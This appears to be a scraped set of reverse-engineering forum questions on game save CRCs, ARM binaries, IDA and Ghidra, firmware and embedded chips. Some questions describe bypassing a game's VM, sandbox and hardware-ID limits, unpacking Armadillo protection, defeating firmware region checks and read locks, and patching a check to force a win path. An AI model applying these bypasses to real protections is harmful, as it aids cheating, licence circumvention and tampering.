+Without any more info on what would be considered useful, this is the best I can think of atm. +" +"['windows', 'hardware', 'winapi', 'game-hacking', 'api-hacking']"," Title: Windows User Identification / HWID LimitingBody: I've been playing a game that has an HWID limit and a bunch of other limitations, such as: +a) Cannot be ran in a VM +b) Cannot be ran using Sandboxie and other Sandbox environments +c) Limits 3 Instances of the game per computer +d) Limits 6 Instances per IP +All of these limitations come from a dll that is injected to the process, since this DLL acts also as a handshake for the gameserver, I cannot eject it. +[a) and b) bypass] - Done +I was able to bypass a) and b) by using Detours.dll and hooking the VM/Sandbox checks by intercepting the necessary functions for it to work properly. +[d) bypass] - Done +Socks 5 Proxy works just fine, so no issues there. +[c) wut?] - What trickery is this? +Now, I want to run more than 3 instances of the Game, without getting the message (Hardware Limit Max bla bla bla). +I've noticed that, if I try to spoof common identifiers such as: +MAC ADDRESS, HDD SERIAL, CPU SERIAL and others, it simply does not work, it keeps detecting me. It is not getting the HWID Limitation from there. +I've created a Virtual Machine, and there, I can run 3 instances of the game just fine. So I created a bunch of VM's, each one running 3 instances of the game. No big deal. But I want to open all instances in a single VM. +I've moved my VM's to a different location, and I kept a copy of ONE of these VM's @ my own computer, so I can test out how to bypass this limitation. +So I open this VM Image@My Computer [Remember, I have a copy @ the cloud running 3 instances of the game] And guess what, 0 Instances of the game opened on my LOCAL VM copy, when I try to open the first instance of the game, I get the HWID error. Ofcourse it is registering something from my VM on their servers, as mentioned above, it is not MAC, or HDD Serial or something else. +Doesn't matter what I spoof on this VM, I still get the Hardware Limit reached message, if I go to my VPS who has a clone of this VM and close one instance of the game, I can then open one instance of the game on my VM Copy running @ my home's PC. +The only thing that works is: If you create a new Windows User on this Machine, you'll be able to open 3 instances without a problem. So this DLL is actually getting information from the current logged user. This is a domain I know very little and is not so well documented by Microsoft. +It's "weakpoint" is the newly created user: I've tried search the registry and used various tools to see the API Calls, File Calls, Registry and I couldn't find anything. +I've trying changing the user SID and I still getting the same message. + +So my question actually is now HOW TO DO IT, but WHAT to check. +What are the Unique Identifiers for a User in a Windows Environment? +We have SID, Username, what else? +The DLL makes use of WINSTA.dll which holds some 'session' information, I was able to hook it, but with no success on spoofing the calls. +Suspicious imports are: +"C:\Windows\SysWOW64\dhcpcsvc.dll" +"C:\Windows\SysWOW64\sspicli.dll" +"C:\Windows\SysWOW64\winsta.dll" +"C:\Windows\SysWOW64\wtsapi32.dll" +" +['decryption']," Title: Extract text data from a encrypted .DAT file of a gameBody: I want to read a text .DAT file, but it's "encrypted". The file is from the a smartphone game. There are several .dat files stored on the smartphone, I would like to decode them to know the dates of the events in the game etc. +The files are on .dat & do xx ko, i don't found how i can open it good. I test open with libre calc, word, notepad++, sublim text, 7zip etc. +When i open it with notepad++ i have this : + +A link of the .dat file : https://easyupload.io/gc967e +Please can you help me find a solution ? +Thanks in advance +" +"['hex', 'crc', 'game-hacking']"," Title: Stuck in finding the algorithm of a save game file CRC/checksumBody: A sample message-CRC pair looks like this: +00000005 00000000 12121212 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 2F8376FE +where the last 4 bytes are the CRC +I suspect the last 4 or 5 groups of zeroes are filler, so they are probably not taken into account when calculating the CRC. Same goes for the 00000005 header, which doesn't ever change. +Aside from that, I have no idea how this CRC might be calculated, it might aswell be a custom CRC32 or a custom algorithm whatsoever. I have tried bruteforcing by feeding CRC reveng some samples to no avail. +Its a Wii U port by Square Enix published in 2013, if that gives anyone any clue. Below more samples are provided, where a value is incrementally changed. +
                             ==> <==
+
+00000005 00000000 12121212 00000001 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 80C228D1 +00000005 00000000 12121212 00000002 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 8D061358 +00000005 00000000 12121212 00000003 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 DE44C52B +00000005 00000000 12121212 00000004 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 747E3E4A +00000005 00000000 12121212 00000005 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 C5BCF01D +I can give more samples need be +" +"['linux', 'arm', 'elf', 'qemu']"," Title: Running ELF file built for ARM arhitectureBody: My goal is to run and debug ELF file (c444) which is compiled for the ARM architecture. I have some experience with x32 and x64 Intel architectures. However, I down know how to proceed with ARM-based architecture. +File general information is extracted below from tools file and readelf. It looks that the file is compiled for ARM architecture: ARMV5TE and ARM core: arm1022e. +
c444: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, stripped
+
+
+Architecture specific information +
kali@kali:~/Downloads/samolan$ readelf -A c444 
+Attribute Section: aeabi
+File Attributes
+  Tag_CPU_name: "arm1022e"
+  Tag_CPU_arch: v5TE
+  Tag_ARM_ISA_use: Yes
+  Tag_THUMB_ISA_use: Thumb-1
+  Tag_FP_arch: VFPv2
+  Tag_ABI_PCS_GOT_use: GOT-indirect
+  Tag_ABI_PCS_wchar_t: 4
+  Tag_ABI_FP_denormal: Needed
+  Tag_ABI_FP_exceptions: Needed
+  Tag_ABI_FP_number_model: IEEE 754
+  Tag_ABI_align_needed: 8-byte
+  Tag_ABI_enum_size: int
+  Tag_ABI_optimization_goals: Aggressive Speed
+  Tag_ABI_FP_16bit_format: IEEE 754
+
+Headers +
ELF Header:
+  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
+  Class:                             ELF32
+  Data:                              2's complement, little endian
+  Version:                           1 (current)
+  OS/ABI:                            UNIX - System V
+  ABI Version:                       0
+  Type:                              DYN (Shared object file)
+  Machine:                           ARM
+  Version:                           0x1
+  Entry point address:               0x470
+  Start of program headers:          52 (bytes into file)
+  Start of section headers:          4480 (bytes into file)
+  Flags:                             0x5000200, Version5 EABI, soft-float ABI
+  Size of this header:               52 (bytes)
+  Size of program headers:           32 (bytes)
+  Number of program headers:         8
+  Size of section headers:           40 (bytes)
+  Number of section headers:         24
+  Section header string table index: 23
+
+
+
+From Wiki I can see that there are many different variations of ARM architectures and one of them is ARMV5TE. I found that QEMU can emulate different AMR architectures. Hence I have tried to create a virtual ARM machine following this tutorial (tutorial). +Basically, I downloaded 3 files from here and run the command in the directory with downloaded files. +
qemu-system-arm -M versatilepb -kernel vmlinuz-2.6.32-5-versatile -initrd initrd.img-2.6.32-5-versatile -hda debian_squeeze_armel_standard.qcow2 -append "root=/dev/sda1" -redir tcp:2222::22
+
+In the created virtual machine I have run uname -a and got information that architecture can be something write (armv5tejl): +
root@debian-armel:~# uname -a
+Linux debian-armel 2.6.32-5-versatile #1 Wed Sep 25 00:01:55 UTC 2013 armv5tejl GNU/Linux
+
+
+When VM started I connected to it with ssh and copied c444 file to the machine, changed the permissions chmod 777 ./c444, and run the command ./c444 but got an error. +
root@debian-armel:/home/user# ./c444 
+-bash: ./c444: No such file or directory
+
+

The questions

+
    +
  • The question is am I creating the correct environment to run this file?
  • +
  • What could be a reason to get the error -bash: ./c444: No such file or directory.
  • +
  • Maybe you could point to the direction of what images, kernels, etc. are necessary to build a system where I could run this file.
  • +
  • Does somebody know what is the difference between QEMU machines and architecture?
  • +
+" +"['ida', 'idapython']"," Title: How to print a manually defined struct in IDA pro while debugging?Body: Lets say that i have manually defined a local struct while debugging in IDA pro, when i hover my mouse over any variable that is of that struct type, i can see its members. +Now if i have the variables's address, how to tell IDA to print every member of the struct on that variable in the output window? I am using windbg to debug kernel using IDA. +" +['patching']," Title: Need help with patching .plt functionBody: I want to patch a .plt function but my friend told me I should use "xref" to find the real caller. +I found it and patched it, Will the .plt function execute? +The function start with PUSH {R4-R7,LR} +" +['libraries']," Title: Reversing a .LIB fileBody: So I found an mp3 player the other day and I thought it'd be fun to try and reverse engineer the files I found on it (and maybe even try to modify it). When I plugged it in to my pc I was surprised to see more than just folders with mp3 files, I could see a few .LIB files named "AUDIBLE.LIB", "EBOOK.LIB", "M3U.LIB", "MUSIC.LIB", "MUSIC2.LIB", "PICTURE.LIB", "VIDEO.LIB". I wanted to see what they looked like so I tried to find out how to read .LIB files using google, however I did not succeed. I tried dumpbin, hxd and ida, but none of them worked (dumpbin said it was an invalid file format, hxd didn't help with finding a magic number and ida couldn't open it). Each file starts with the name of the file (eg: "PICTURE"), followed by some 00 bytes, the 8th byte is 01 and then come another 5 00 bytes followed by "ALLFILE". I'm new to reverse engineering so I'm sorry if this question is stupid, but how would I go about reverse engineering this? +File example (only the first few lines of bytes): +
45 42 4F 4F 4B 00 00 00 01 00 01 00 00 00 00 00
+41 4C 4C 46 49 4C 45 00 00 00 00 00 00 00 00 00
+00 00 00 00 02 00 03 00 00 00 00 00 00 00 00 00
+00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+
+In case it matters, the mp3 player is a Xemio-240. +" +"['encryption', 'router']"," Title: Decrypting my router config backup fileBody: so I have this ONT router/mode (ZTE F660) provided to me by the ISP, it's interface contains very little settings and I wanted to see if I can get anything useful from it's config backup file. The file generated has a '.cfg' extension and it is encrypted. Is there anyway for me to decrypt it? I tried RouterPassView but I the file wasn't even detected. Is there anything else I can try? +" +"['ida', 'c++']"," Title: Ida pro doesn't demangle all function namesBody: I am using Ida Pro 7.0 and working with a binary (firmware) written in C++ .Fortunately there are symbols in the firmware and I know function names but Ida didn't manage to demangle all function names. I saw in the firmware ASCII string gcc2. Likely the binary was compiled using gcc2 compiler. There are a lot of important funcitons in the mangled form. +Help me out please. How Can I resolve this problem??? +I tried to use idc.Demangle() func but unfortunately It can't demangle correctly. +P.S. +I found that c++filt utility works correctly +" +"['decompilation', 'android', 'byte-code', 'dalvik']"," Title: why does dalvik remove invocations during optimisation?Body: This is original smali code of a classes.dex method before installation +
.method public static createAutoMatchCriteria(IIJ)Landroid/os/Bundle;
+    .registers 6
+
+    new-instance v0, Landroid/os/Bundle;
+
+    invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
+
+    const-string v1, "min_automatch_players"
+
+    invoke-virtual {v0, v1, p0}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
+
+    const-string p0, "max_automatch_players"
+
+    invoke-virtual {v0, p0, p1}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
+
+    const-string p0, "exclusive_bit_mask"
+
+    invoke-virtual {v0, p0, p2, p3}, Landroid/os/Bundle;->putLong(Ljava/lang/String;J)V
+
+    return-object v0
+.end method
+
+This is edited smali code of a classes.dex method before installation +
.method public static createAutoMatchCriteria(IIJ)Landroid/os/Bundle;
+    .registers 6
+
+    new-instance v0, Landroid/os/Bundle;
+
+    invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
+
+    const-string v1, "min_automatch_players"
+
+    const/4 p0, 0x2
+
+    invoke-virtual {v0, v1, p0}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
+
+    const-string p0, "max_automatch_players"
+
+    const/16 p1, 0x14
+
+    invoke-virtual {v0, p0, p1}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
+
+    const-string p0, "exclusive_bit_mask"
+
+    invoke-virtual {v0, p0, p2, p3}, Landroid/os/Bundle;->putLong(Ljava/lang/String;J)V
+
+    return-object v0
+.end method
+
+This is the same method but of the classes.dex extracted from dalvik cache. +
.method public static createAutomatchCriteria(IIJ)Landroid/os/Bundle
+    .registers 6
+
+new-instance v0 Landroid/os/Bundle;
+
+invoke-direct {v0} Landroid/os/Bundle;-><init>()V
+
+const-string v1 "min_automatch_players"
+
+const/4 v2 0x2 
+
+const-string v2 "max_automatch_players"
+
+const/16 v3 0x14
+
+const-string v2 "exclusive_bit_mask"
+
+return-object v0
+
+
+Where did the virtual invocations after those integer constants go? +Am i missing something? Or does dalvik store those invocations somewhere else? +" +"['disassembly', 'radare2']"," Title: Radare2 cannot open bin for writingBody: Im on Kali and im using Radare2 but it says +
r2 -d bin
+Killing child process 16151 due to an error
+Killing child process 16152 due to an error
+[w] Cannot open 'dbg://./bin' for writing.
+
+I tried chmod +x bin and I still get the same result, can someone help me, im still a beginnner +" +"['debugging', 'x64dbg', 'executable', 'x86-64']"," Title: How to get offset of specific function in exe?Body: Suppose I have self-compiled exe-file (aka portable executable), its source (c/c++) and generated pdb-file. And what if I want to get offset of its function (non-winapi function) in debugger (x64dbg, whatever) to set breakpoint on it? I would like to know/learn about existing reversing techniques to do it. +" +"['ida', 'dynamic-linking']"," Title: What is most likely the reason causing this problem?Body: I'm trying to reverse engineering a obfuscated game, and when I import this related .so file into IDA, it output this : +What technique is most likely been used in achieving such obfuscation ? +" +"['windows', 'x64dbg', 'executable', 'exe']"," Title: How to unpack Armadillo protected software using x64dbg?Body: I am planning to reverse-engineer a Windows executable that has been protected with Armadillo. +When I put the executable through Detect It Easy, the results show that the executable was protected with Armadillo 3.x-9.x. +I will be using x64dbg to unpack the executable. Most Armadillo unpackers available at https://www.exetools.com/unpackers.htm do not work with my executable because they only support an older version of Armadillo. +" +"['windows', 'malware', 'windows-10']"," Title: Is it possible to fake being joined to a domain in Windows 10?Body: I'm dealing with a malware sample from a pentest that will only execute properly if the system is a member of the target organization's Windows Active Directory domain. +Rather than standing up my own AD controller and fake domain every time I want to test with a different domain name, I was hoping to write a PowerShell script to fake information on the local system to look like it was joined to an arbitrary domain. +I tried editing the registry values in HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters, but the system still showed as a workgroup system. +Is there any way to make Windows (and therefore Windows malware) think it's a member of a domain, without actually joining a domain? +" +"['x64dbg', 'anti-debugging', 'c#']"," Title: How can I detect if my application is running in x64debug?Body: I am writing my own applications to practice reversing. I want to be able to detect debuggers and change the execution in response. +When building the application, I am easily able to detect it is being debugged with +System.Diagnostics.Debugger.IsAttached or kernel32.dll's CheckRemoteDebuggerPresentmethod. +
if (System.Diagnostics.Debugger.IsAttached)
+            {
+                //code if being debugged
+            }
+
+When I debug my release in x64dbg though, the debugger is not detected. Is there a way to detect this? +" +"['ida', 'pdb']"," Title: How to load a pdb file from the hard drive with IDA Pro?Body: All the answers I see on Google are about how to load PDB files from online servers. But I have an exe I'm debugging. It's my own exe. Only reason I want to debug it, is so that I can step through what happens when it makes some calls to user32.dll and beyond. +My EXE was made with c#, in Visual Studio, it's and x64 and "debug" build, with "full" pdb output. So the PDB is right there in the same folder, same name as the exe, and right next to the exe. +But when I load the EXE into IDA, it doesn't load the PDB. Instead, it tries to load a different PDB: +
[autohidden] The input file was linked with debug information
+ and the symbol filename is:
+"D:\workspace\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\standalone\Release\apphost.pdb"
+Do you want to look for this file at the specified path
+and the Microsoft Symbol Server?
+ -> No
+
+I don't know what this "apphost.pdb" is, and that folder name of "D:\workspace...etc" is definitely not on my computer, there is no such folders or anything similar. I don't even have a drive D. My exe is named Resolution_dev.exe, and the correct pdb is Resolution_dev.pdb. So I don't know why it's trying to find apphost.pdb. +But furthermore, as you can see in the debug output, it is [autohidden] and automatically answers the question with "-> No" at the end. So it doesn't even ask me the question, and automatically skips the PDB load. +And I can't find anywhere in the toolbar along the top of IDA, where it will let me manually load the PDB from a file. And as I said, all the info I found on Google is about loading pdb's from online servers. I can't find anything about how to simply load one from the drive. +" +"['ida', 'static-analysis', 'ida-plugin', 'libraries', 'libc']"," Title: Ida Pro doesn't recognize known functionBody: I open statically Arm binary with Ida Pro. +While I reversing I find out some function like strstr and memcpy and etc. That Ida doesn't understand that those function are strstr and memcpy(for example) +Why is that? Why Ida cannot recognize such famous function? How can I "help" Ida to recognize functions like that. +That makes my reversing more easier. +" +"['ida', 'disassembly', 'static-analysis']"," Title: Pascal string representation in Hex-Rays Decompiler of IDA ProBody: I'm trying to prettify a representation of Pascal-string "Could not access file "" in Hex-Rays decompiler's output. As you can see below, + +now its type is char[25] due to inclusion of hexademical string length. How can I force IDA to perceive Pascal-strings properly during their depiction in Hex-Rays pane? I want to see for all Pascal-string in corresponding window something like +
LODWORD(v90) = ConcatenateStrings_R8_R9_to_RCX(v140, 255i64, "Could not access file \"", v158);
+
+I tried to change types via "Set item type..." as showed below. + +Unfortunately, these options didn't help. +" +"['ida', 'idapython', 'python', 'disassemblers']"," Title: Creating table with IDAPythonBody: I'd like to create the table like below, I could not found any clue while googling it.
+Is it possible to make table with IDAPython, especially with idaapi.simplecustviewer_t class?
+
+
+
+Any advises would be helpful for me.
+Thanks. +" +"['decompilation', 'c++', 'ghidra']"," Title: convert C++ code to python codeBody: while I'm doing RE using ghidra i saw this code +
  byte bVar1;
+  byte bVar2;
+  uint uVar3;
+  
+  uVar3 = 0;
+  while (bVar2 = (byte)uVar3, (char)bVar2 < '\b') {
+    bVar1 = *(byte *)(uVar3 + param_1) ^ *(byte *)(uVar3 + param_2);
+    *(byte *)(uVar3 + param_1) = (bVar1 << (bVar2 & 7) | bVar1 >> 8 - (bVar2 & 7)) - bVar2;
+    uVar3 = (uint)(byte)(bVar2 + 1);
+  }
+  return;
+
+i know the code rotate shift but i don't think it's the same i know it's kinda diffrent here not a simple bit movement +so write a python code will make the bit-roll here make sense +" +"['c++', 'dll-injection', 'program-analysis']"," Title: How to call your version of the existing function using proxy dll?Body: I have bits of code which decompiles a small part of the existing program. I have added it to the proxy dll. The code to the existing functions is hooked through Detour and looks like below (gui.h and gui.cpp) +But now how do I call my own implementation of the gamemain function? Can someone may be point me to an existing post(s) where calling proxy dll replaced functions is described in detail. +Or / And if you don't mind spending time looking at the code below, I would appreciate the tips on how to make it work in the similar structure to the one I am using or may be there is another solution I should be considering. +Note, I do know the address for the gamemain function in the original exe. +gui.h +
#pragma once
+#include "world.h"
+
+namespace gladius {
+
+    namespace gui {
+    
+        
+        //struct gladius::world::World* __fastcall getworld();
+        struct GUI {
+            //gladius::world::World* __fastcall gladius::gui::GUI::getWorld(gladius::gui::GUI* thisptr);
+            using GetWorld = gladius::world::World* (__fastcall*) (GUI* thisptr);
+            GetWorld getWorld;
+        };
+
+
+        GUI& get();
+    } //namespace gui
+}
+
+gui.cpp +
#include "world.h"
+#include "gui.h"
+#include <array>
+
+
+namespace gladius {
+
+    namespace gui {
+
+        static std::array<GUI, 1> functions = { {
+
+                // Steam
+                    GUI{
+                            (GUI::GetWorld)0x140b81074,
+                         },
+                } };
+
+
+        GUI& get()
+        {
+            return functions[0];
+        }
+    }
+}
+
+This works. But now I want to change another function and replace it with my implementation. I.e. the function looks like this: +game.h +
#pragma once
+
+#include "world.h"
+#include "game.h"
+#include "gui.h"
+
+namespace gladius {
+    
+    
+    struct Game {
+        //virtual int __thiscall main(gladius::Game* thisptr, int param_1, char** param_2, char** param_3);
+        int __thiscall gladius::Game::gamemain(gladius::Game* thisptr, int param_1, char** param_2, char** param_3)
+        {
+
+            gladius::gui::GUI guiInst;
+            gladius::world::World worldInst;
+
+            gladius::Game::initialize(this, param_1, param_2, param_3);
+            // proxy::gui::GUI::run(*(GUI**)(this + 0x28));
+            //worldInst = gladius::gui::GUI::getWorld(*(gladius::gui::GUI**)(this + 0x88));
+
+            gladius::world::World::CreateWorld(*(gladius::world::World**)(*(long long *)(this + 0x5e8) + 0x50));
+            gladius::Game::quit(this);
+            return 0;
+        }
+        void __fastcall gladius::Game::initialize(gladius::Game* thisptr, int a2, char** a3, char** a4);
+        void __fastcall gladius::Game::quit(gladius::Game* thisptr);
+    };
+
+
+}
+
+" +"['firmware', 'embedded']"," Title: Reversing Brother Sewing Machine FirmwareBody: Context: Taking my first stab at reverse engineering, I am trying to install firmware intended for a machine sold in a different region (EAS) to my machine (US). I believe Brother sells the same machine (hardware) but firmware differs by region. Apparently there are some sort of verification mechanisms that prevents me from installing firmware not intended for this machine, and I want to figure out how to overcome this. +Now looking at the firmwares, I have believe that byte 0x38 0x39 0x3a 0x3b is denoting which machine can install this firmware, as these 4 bytes remained the same in an older version firmware. And byte 0x00 to 0x03 seems to be some sort of checksum, and 0x04 to 0x07 is the same sequence stored in reverse order, but I cannot figure out what that checksum is, how it is generated, or why it is stored again in reverse order. +EAS Firmware MCBNE0A107.upf (https://support.brother.com/g/b/downloadtop.aspx?c=as_ot&lang=en&prod=hf_inovnv180eas) +
00000000: b495 7116 1671 95b4 436f 7079 7269 6768  ..q..q..Copyrigh
+00000010: 7420 6279 2062 726f 7468 6572 2069 6e64  t by brother ind
+00000020: 7573 7472 6965 7320 4c54 442e 0000 0000  ustries LTD.....
+00000030: 0000 0000 0000 0000 2b02 0507 0000 0000  ........+.......
+00000040: 0000 0000 0000 0000 0000 6b00 6600 ffff  ..........k.f...
+00000050: 0000 0b00 0000 0000 0000 0000 0000 0000  ................
+00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
+
+US Firmware MCBNM0A107.upf (https://support.brother.com/g/b/downloadtop.aspx?c=us&lang=en&prod=hf_lb5000eus) +
00000000: a941 51d6 d651 41a9 436f 7079 7269 6768  .AQ..QA.Copyrigh
+00000010: 7420 6279 2062 726f 7468 6572 2069 6e64  t by brother ind
+00000020: 7573 7472 6965 7320 4c54 442e 0000 0000  ustries LTD.....
+00000030: 0000 0000 0000 0000 2b01 0900 0000 0000  ........+.......
+00000040: 0000 0000 0000 0000 0000 6b00 6600 ffff  ..........k.f...
+00000050: 0000 0b00 0000 0000 0000 0000 0000 0000  ................
+00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
+
+US Firmware (Old Version) MCBNM0A106.upf +
00000000: 1a61 ab83 83ab 611a 436f 7079 7269 6768  .a....a.Copyrigh
+00000010: 7420 6279 2062 726f 7468 6572 2069 6e64  t by brother ind
+00000020: 7573 7472 6965 7320 4c54 442e 0000 0000  ustries LTD.....
+00000030: 0000 0000 0000 0000 2b01 0900 0000 0000  ........+.......
+00000040: 0000 0000 0000 0000 0000 6a00 6500 ffff  ..........j.e...
+00000050: 0000 0b00 0000 0000 0000 0000 0000 0000  ................
+00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
+
+I tried setting the first 8 bytes to 00 and doing CRC32 on the entire firmware, but it didn't seem to match. Again I am clueless on how a firmware is generally written or how a checksum is generated. Any hints would be appreciated! +And I don't know if I need to temper with the remaining sections of the firmware. +
//content list?
+00000100: 626f 6f74 5f52 656c 6561 7365 2e62 6c00  boot_Release.bl.
+00000110: 0100 0000 87b4 49f9 0000 0084 0000 0200  ......I.........
+00000120: 7570 6730 2e70 7267 0000 0000 0000 0000  upg0.prg........
+00000130: 0200 0000 65c9 ad0f 0000 0684 0000 0800  ....e...........
+00000140: 7570 6730 2e64 6174 0000 0000 0000 0000  upg0.dat........
+00000150: 0300 0000 9659 c760 0000 0e84 f842 0100  .....Y.`.....B..
+00000160: 7570 6731 2e70 7267 0000 0000 0000 0000  upg1.prg........
+00000170: 0200 0000 4919 e011 0000 1084 0000 0800  ....I...........
+00000180: 7570 6731 2e64 6174 0000 0000 0000 0000  upg1.dat........
+00000190: 0300 0000 9659 c760 0000 1884 f842 0100  .....Y.`.....B..
+000001a0: 6d61 696e 2e70 7267 0000 0000 0000 0000  main.prg........
+000001b0: 0700 0000 2e84 1dab 0000 0000 00c2 0200  ................
+000001c0: 7061 6e65 6c2e 7072 6700 0000 0000 0000  panel.prg.......
+000001d0: 0600 0000 d26e 5bd4 0000 1a84 e4bc 2200  .....n[.......".
+000001e0: 4d32 436f 6d44 6174 612e 6461 7400 0000  M2ComData.dat...
+000001f0: 0800 0000 06ab 8518 0000 8084 ac56 5300  .............VS.
+00000200: 666f 6e74 4461 7461 4352 4f4d 2e64 6100  fontDataCROM.da.
+00000210: 0500 0000 1094 9227 0000 a085 0000 4400  .......'......D.
+00000220: 416c 6c5f 4461 7461 5f43 4d42 5f4e 4500  All_Data_CMB_NE.
+00000230: 0900 0000 2182 1978 0000 fe84 0001 0000  ....!..x........
+00000240: 7044 6174 5f43 4e45 4d30 2e64 6174 0000  pDat_CNEM0.dat..
+00000250: 0a00 0000 fe65 727b 0000 0085 58a2 2d00  .....er{....X.-.
+00000260: 1000 ffff 0000 0000 0000 0000 0000 0000  ................
+00000270: 0000 0000 0000 0000 0000 0000 0000 0000  ................
+...
+// start of executable?
+00000750: 0000 0000 0000 0000 0000 0000 0000 0000  ................
+00000760: 0000 0011 0000 0013 0000 d025 0000 d825  ...........%...%
+00000770: 0000 f025 3c08 3141 4088 6000 0000 0000  ...%<.1A@.`.....
+00000780: 0000 0000 4080 6800 0000 0000 0000 0000  ....@.h.........
+00000790: 4008 8000 3c09 7000 0109 4024 3c09 00c0  @...<.p...@$<...
+000007a0: 3529 8003 0109 4025 4088 8000 0000 0000  5)....@%@.......
+000007b0: 0000 0000 0000 0000 3c0a bd51 8d4a 0000  ........<..Q.J..
+000007c0: 3c0b 0010 014b 5024 3c0b 0010 114b 0007  <....KP$<....K..
+
+From a teardown video on Youtube the machine has a ETON ET866 E213441 motherboard if that means anything. +" +['java']," Title: Java Malware Dollar SignBody: I am analyzing a mobile malware sample and got a trouble. When i put sample in JADX, i see some dollar sign. I mean like this; + +What does these dollar signs means? +" +"['firmware', 'hardware', 'dumping']"," Title: I attempted to read from an Intel 87C54 microcontroller and it came up all FF's. Any way to read from this?Body: I'm using the popular TL866II Plus programmer to read from the chip. I see in the datasheet that it has lock bits which can disable the verify (read) function, but I'm not sure if that causes an attempted verify to yield all FF's, or if it would give an error of some kind. +In the situation where the lock bits are in fact set, is there any known way to bypass them and dump the firmware from the chip? Keep in mind, this chip came from a very rare board, and that chip is the only copy I have of the program, so I don't want to risk erasing it. +" +"['malware', 'c#']"," Title: Decode byte numbers into stringBody: There is this grabber called Itroublve grabber, which a lot of people use, and I wondered what it's aes encryption key is, so I looked at the code, and I found this: +
   Key = new byte[]
+    {
+        88,
+        105,
+        179,
+        95,
+        179,
+        135,
+        116,
+        246,
+        101,
+        235,
+        150,
+        231,
+        111,
+        77,
+        22,
+        131
+    }
+
+My question is, how can I decode these numbers back to a string? +" +['8051']," Title: What 8051 instruction extensions are there?Body: I'm helping reverse engineer a small embedded device. We've successfully extracted some code fragments, which have been identified as 8051 machine code. However, it's using some kind of instruction set extension using a 0xa5 opcode prefix. I know this is used by several different instruction set extensions, so I need to look these up and see which ones make sense. +So far I've found and ruled out: +
    +
  • Philips/NXP 51MX
  • +
  • Intel MCS-251
  • +
+What others are there? +For interest value, here are some of the extended instructions: +
  0023 A5               DB 85h  ; illegal opcode
+  0024 6130             AJMP L0002
+
+  005F A5               DB 85h  ; illegal opcode
+  0060 817C             AJMP L0010
+
+  0065 A5               DB 85h  ; illegal opcode
+  0066 00               NOP
+
+  0068 A5               DB 85h  ; illegal opcode
+  0069 A674             MOV @R0, 74h
+
+" +"['hardware', 'router']"," Title: How I can interface the MCU without soldering?Body: My router has the following pin layout between flash memory and MCU: + +The big chip is the MCU from a Sercomm H300s router. +What I want is to analyze the signaling between 2 chips using the most accessible pins in the MCU. But I also want to avoid soldering. +How I can interface the big chip without soldering? +Would clamps such as these ones or this ones do the job? +Also, how I can record any binary data exchanged between MCU and Flash memory chip in my computer, do I need a bus pirate or a logic analyzer? +" +['decryption']," Title: Trying to decrypt the output from a BLE scaleBody: I'm trying to decrypt the readings from a BLE scale, which seems to be transmitting readings in the manufacturer data. +Here are a few readings using python bleak library to scan device advertisements: +#no weight on scale: +b'\x0f\x05\x02\x00\x00\x00Z\x00\x02\x00P\xfb\x19\x87\xd1Q\xf5' +#scale reads "19.90g": +b'\x0f\x05\x02\x00\x07\xc6Z\x00\x02\x00P\xfb\x19\x87\xd1Q4' +#scale reads "53.92g": +b'\x0f\x05\x02\x00\x15\x10Z\x00\x02\x00P\xfb\x19\x87\xd1Q\xf0' +#scale reads "21.18g": +b'\x0f\x05\x02\x00\x08FZ\x00\x02\x00P\xfb\x19\x87\xd1Q\xbb' +" +"['binary', 'asm']"," Title: When patching static software, is there a preferred patching strategy?Body: Suppose you have something like this (in x86-like asm) +
10 | mov ebx 1 // good response from function "check" below
+20 | call check() // modifies eax
+30 | test eax ebx
+40 | jeq good
+50 | bad:   call lose()
+60 | jmp finish
+70 | good:  call win()
+80 | finish:    push/pop stuff from stack
+90 | retn 0
+
+Suppose I want to modify the logic so that it always executes some win(). From what we have, there are multiple ways to accomplish this. Here are strategies I can see: +
    +
  1. NOP 10-60 (but then maybe important registers/stack are not set because check() isn't called as well as registers/stack may not be set properly)
  2. +
  3. 30 - make it test eax eax or something along these lines. Seems like a solid way, but isn't it then better to do (3)
  4. +
  5. 40 - make jump unconditional. This is what I do currently, but I wonder if the CPU overhead (for things like 30 | test eax ebx are acceptable)
  6. +
  7. 50 or 60 - make either perform jmp good -- seems like the destructive/potentially crash inducing approach due to registers/stack being already pre-set for lose() function
  8. +
  9. Create a ROP chain/inject my own logic to just call win() -- isn't it too much for this situation?
  10. +
  11. modify 10 | mov ebx 1 to be set to 0 -- but then in case win() should be called, it won't be
  12. +
+I wonder if there is a standard strategy recommended for patching like this. +" +"['disassembly', 'ghidra', 'decryption']"," Title: Finding AES Key in binary using Ghidra and FindCryptBody: I would like to learn more about RE. +I wrote a simple program on a STM32F107 which does nothing else than encrypting and decrypting a text once using AES128-ECB. +Here is the C code (I intentionally left out the key so far): +
    struct AES_ctx TestAes;
+uint8_t key[16] =
+        { MY_KEY_IS_HERE };
+uint8_t InputText[16] =
+        { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0 };
+AES_init_ctx(&TestAes, key);
+AES_ECB_encrypt(&TestAes, InputText);
+AES_ECB_decrypt(&TestAes, InputText);
+
